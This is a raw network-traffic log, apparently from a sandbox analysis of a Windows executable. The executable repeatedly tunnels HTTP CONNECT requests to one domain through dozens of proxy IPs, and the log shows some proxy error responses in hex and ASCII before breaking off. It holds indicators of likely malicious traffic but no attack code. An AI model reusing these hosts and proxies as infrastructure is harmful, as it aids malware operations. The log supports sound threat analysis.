Mar 11, 2024 15:21:11.108098984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794141054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.656676054 CET	131	IN	HTTP/1.1 503 Too many open connections content-type: text/plain connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.9	51939	179.49.160.32	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.208051920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.325297117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.325835943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.341641903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.845902920 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.9	51821	107.180.88.41	62578	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.470241070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.497184992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.591078997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.591104031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.643016100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.653142929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:59.668756008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.9	51961	66.228.35.209	46695	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.473944902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.9	55166	45.120.178.197	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.474035025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.9	55164	47.74.152.29	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.474117041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.9	54824	184.170.248.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.474435091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.9	54186	153.127.194.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.510067940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637839079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638096094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.638139009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.637686968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.637552977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:59.637518883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:23.653069973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:11.652995110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.9	55101	185.49.30.5	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.510206938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.9	51882	80.84.176.110	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.510616064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.733757973 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.9	55170	196.20.125.129	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.510730982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.9	55171	203.218.172.225	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.511266947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.9	51806	115.89.203.59	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.512084961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700413942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700604916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.700517893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.793852091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.793744087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:59.793731928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:23.809314013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.9	51999	183.89.8.159	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.529346943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.9	52081	191.101.78.207	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.567665100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637878895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638124943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.638163090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.637763023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.9	55173	91.201.240.84	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.568237066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.9	54172	34.81.72.31	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.571909904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700361967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700486898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.700537920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.793836117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.796360016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:00.053041935 CET	720	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:59 GMT Server: Apache Content-Length: 544 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 2e 73 68 69 6c 6c 6f 6e 67 63 6f 6c 6c 65 67 65 2e 61 63 2e 69 6e 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster.shillongcollege.ac.in to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.9	52002	39.105.27.30	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.594501972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.932116985 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 35 37 38 33 32 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" 